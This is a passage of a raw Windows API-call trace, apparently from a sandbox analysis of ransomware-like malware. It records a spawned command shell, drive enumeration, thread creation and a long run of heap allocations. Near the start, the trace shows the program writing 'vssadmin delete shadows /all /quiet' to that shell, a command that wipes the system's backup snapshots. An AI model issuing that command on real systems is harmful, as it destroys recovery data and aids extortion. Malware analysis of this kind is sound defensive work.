lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19fd60*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254), lpProcessInformation=0x19fdb0 | out: lpCommandLine=0x0, lpProcessInformation=0x19fdb0*(hProcess=0x25c, hThread=0x258, dwProcessId=0x7f0, dwThreadId=0x830)) returned 1 [0205.037] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0205.037] WriteFile (in: hFile=0x24c, lpBuffer=0x646b50*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x19fd5c, lpOverlapped=0x0 | out: lpBuffer=0x646b50*, lpNumberOfBytesWritten=0x19fd5c*=0x41, lpOverlapped=0x0) returned 1 [0205.037] CloseHandle (hObject=0x25c) returned 1 [0205.037] CloseHandle (hObject=0x258) returned 1 [0205.037] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x606420 | out: hHeap=0x5c0000) returned 1 [0205.038] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0205.038] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x646b50 | out: hHeap=0x5c0000) returned 1 [0205.038] lstrlenW (lpString="%comspec%") returned 9 [0205.038] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5feff8 | out: hHeap=0x5c0000) returned 1 [0205.038] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a530, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x258 [0205.039] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x603c70 [0205.039] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a710, lpParameter=0x603c70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25c [0205.040] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x5ff228 [0205.040] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4098e0, lpParameter=0x5ff228, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x264 [0205.040] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x603bc8 [0205.040] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x603bc8, Size=0x20) returned 0x5feee0 [0205.040] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5feee0, Size=0x40) returned 0x5d7c38 [0205.040] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0205.041] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xd0) returned 0x5db498 [0205.041] GetLogicalDrives () returned 0x4 [0205.041] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10014) returned 0x606420 [0205.041] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x603a78 [0205.041] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x603a78, Size=0x20) returned 0x5feee0 [0205.041] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5feee0, Size=0x40) returned 0x5d7848 [0205.041] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d7848, Size=0x80) returned 0x646bd8 [0205.041] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x646bd8, Size=0x100) returned 0x648450 [0205.041] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x648450, Size=0x200) returned 0x648450 [0205.041] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x648450, Size=0x400) returned 0x648450 [0205.041] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x648450, Size=0x800) returned 0x648450 [0205.041] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x648450, Size=0x1000) returned 0x648450 [0205.041] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10000) returned 0x616440 [0205.041] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x603c28 [0205.041] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x603c10 [0205.041] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4) returned 0x5ff1e8 [0205.041] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x603ac0 [0205.041] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4) returned 0x5ff1f8 [0205.041] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6039a0 [0205.041] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5ff1f8, Size=0x8) returned 0x5ff158 [0205.041] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x603c88 [0205.041] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5ff158, Size=0x10) returned 0x6039b8 [0205.041] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x603ad8 [0205.041] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x603c58 [0205.041] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x6039b8, Size=0x20) returned 0x5fef58 [0205.041] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x603b50 [0205.042] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x5ff158 [0205.042] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe) returned 0x603be0 [0205.042] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe) returned 0x603bb0 [0205.042] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fef58, Size=0x40) returned 0x5d7578 [0205.042] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe) returned 0x603b08 [0205.042] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe) returned 0x603bc8 [0205.042] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe) returned 0x6039b8 [0205.042] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe) returned 0x6039d0 [0205.042] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x603a30 [0205.042] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x603a18 [0205.042] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x5ff1a8 [0205.042] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x603a48 [0205.042] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d7578, Size=0x80) returned 0x6470a0 [0205.043] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x603a60 [0205.043] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x603a78 [0205.043] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x603b20 [0205.043] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x603b38 [0205.043] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x603cb8 [0205.043] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x603d00 [0205.043] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x603d30 [0205.043] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x5ff1f8 [0205.043] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x603d48 [0205.043] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x603d60 [0205.043] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x603d18 [0205.043] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x603ca0 [0205.043] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x603cd0 [0205.043] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x603ce8 [0205.043] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x649950 [0205.043] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6498a8 [0205.043] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x6470a0, Size=0x100) returned 0x649c60 [0205.043] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x649890 [0205.043] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6497a0 [0205.043] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6497b8 [0205.043] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x649818 [0205.043] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x649980 [0205.043] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x649a10 [0205.043] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x5ff298 [0205.043] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x649800 [0205.044] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6499e0 [0205.044] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6498c0 [0205.044] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x6) returned 0x5ff238 [0205.044] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6498d8 [0205.044] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x649938 [0205.044] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x5ff188 [0205.044] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x649a58 [0205.044] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6497e8 [0205.044] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x6497d0 [0205.044] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x649a28 [0205.044] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6499b0 [0205.044] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6499c8 [0205.044] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe) returned 0x649a40 [0205.044] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6498f0 [0205.044] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x649908 [0205.044] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x649788 [0205.044] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x649830 [0205.044] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x649848 [0205.044] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x649920 [0205.044] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x5ff0f8 [0205.044] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x649878 [0205.044] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x649968 [0205.044] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x649998 [0205.044] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x649a70 [0205.044] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x649c60, Size=0x200) returned 0x649c60 [0205.044] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6499f8 [0205.044] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x5ff2d8 [0205.044] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x649860 [0205.044] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x649bc0 [0205.044] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x649b90 [0205.044] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x649ab8 [0205.044] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x649ba8 [0205.044] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x649bf0 [0205.044] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x649b60 [0205.045] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x649b78 [0205.045] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x649aa0 [0205.045] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x649c38 [0205.045] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x649b30 [0205.045] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x649c20 [0205.045] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x649ad0 [0205.045] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x649bd8 [0205.045] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x649b48 [0205.045] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x649c08 [0205.045] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x649a88 [0205.045] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x649ae8 [0205.045] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x649b00 [0205.045] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x649b18 [0205.045] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x649560 [0205.045] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x5ff248 [0205.045] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6496c8 [0205.045] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x649728 [0205.045] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x649650 [0205.045] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x5ff258 [0205.045] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6495c0 [0205.045] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x649710 [0205.045] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6494a0 [0205.045] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x649638 [0205.045] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x649668 [0205.045] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x649740 [0205.045] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6494b8 [0205.045] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x649578 [0205.045] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x6494d0 [0205.045] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x649758 [0205.045] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x649500 [0205.046] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x649770 [0205.046] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x649608 [0205.046] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x649518 [0205.046] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x649488 [0205.046] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6494e8 [0205.046] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x649620 [0205.046] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6496e0 [0205.046] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6496f8 [0205.046] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x649680 [0205.046] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x649698 [0205.046] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x5ff178 [0205.046] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x6) returned 0x5ff198 [0205.046] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x649590 [0205.046] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x649530 [0205.046] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6496b0 [0205.046] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x649548 [0205.046] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6495a8 [0205.046] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x6495d8 [0205.046] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6495f0 [0205.046] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64a240 [0205.046] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64a3d8 [0205.046] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64a270 [0205.046] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x64a228 [0205.046] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64a3f0 [0205.046] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64a1c8 [0205.046] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x649c60, Size=0x400) returned 0x64a670 [0205.046] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64a318 [0205.046] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64a3c0 [0205.046] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x64a2b8 [0205.046] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64a3a8 [0205.046] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64a330 [0205.047] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64a288 [0205.047] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x64a390 [0205.047] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64a210 [0205.047] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64a258 [0205.047] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64a468 [0205.047] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x5ff1b8 [0205.047] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64a480 [0205.047] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x64a2e8 [0205.047] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64a1e0 [0205.047] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64a300 [0205.047] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64a198 [0205.047] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64a360 [0205.047] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe) returned 0x64a408 [0205.047] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64a2a0 [0205.047] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64a378 [0205.047] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64a2d0 [0205.047] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64a348 [0205.047] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64a1f8 [0205.047] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64a420 [0205.047] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64a438 [0205.047] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64a450 [0205.047] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x5ff268 [0205.047] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64a1b0 [0205.047] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64a648 [0205.047] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64a528 [0205.047] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64a600 [0205.047] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64a510 [0205.047] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64a570 [0205.047] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64a5d0 [0205.047] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64a4c8 [0205.047] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64a498 [0205.047] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe) returned 0x64a4e0 [0205.047] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64a588 [0205.048] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe) returned 0x64a4b0 [0205.048] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64a618 [0205.048] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64a5a0 [0205.048] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64a5b8 [0205.048] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64a4f8 [0205.048] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64a558 [0205.048] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x64a5e8 [0205.048] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64a630 [0205.048] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64a540 [0205.048] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x649eb0 [0205.048] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64a018 [0205.048] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64a060 [0205.048] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64a000 [0205.048] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x649fe8 [0205.048] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64a0a8 [0205.048] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64a0c0 [0205.048] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64a0d8 [0205.048] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x649fa0 [0205.048] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64a078 [0205.049] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x649ee0 [0205.049] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x649fb8 [0205.049] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x649e98 [0205.049] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64a180 [0205.049] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64a048 [0205.049] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x64a138 [0205.049] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x12) returned 0x5d60e0 [0205.049] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64a090 [0205.049] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x649f28 [0205.049] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x649ef8 [0205.049] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x649f40 [0205.049] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x649ec8 [0205.049] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x649f10 [0205.049] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x649f58 [0205.049] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64a0f0 [0205.049] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x649f70 [0205.049] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x649fd0 [0205.049] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x649f88 [0205.049] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64a030 [0205.049] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64a168 [0205.049] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64a150 [0205.049] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64a108 [0205.049] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64a120 [0205.049] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b228 [0205.049] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b0c0 [0205.049] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b1b0 [0205.049] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64b240 [0205.049] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x64b1e0 [0205.049] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, 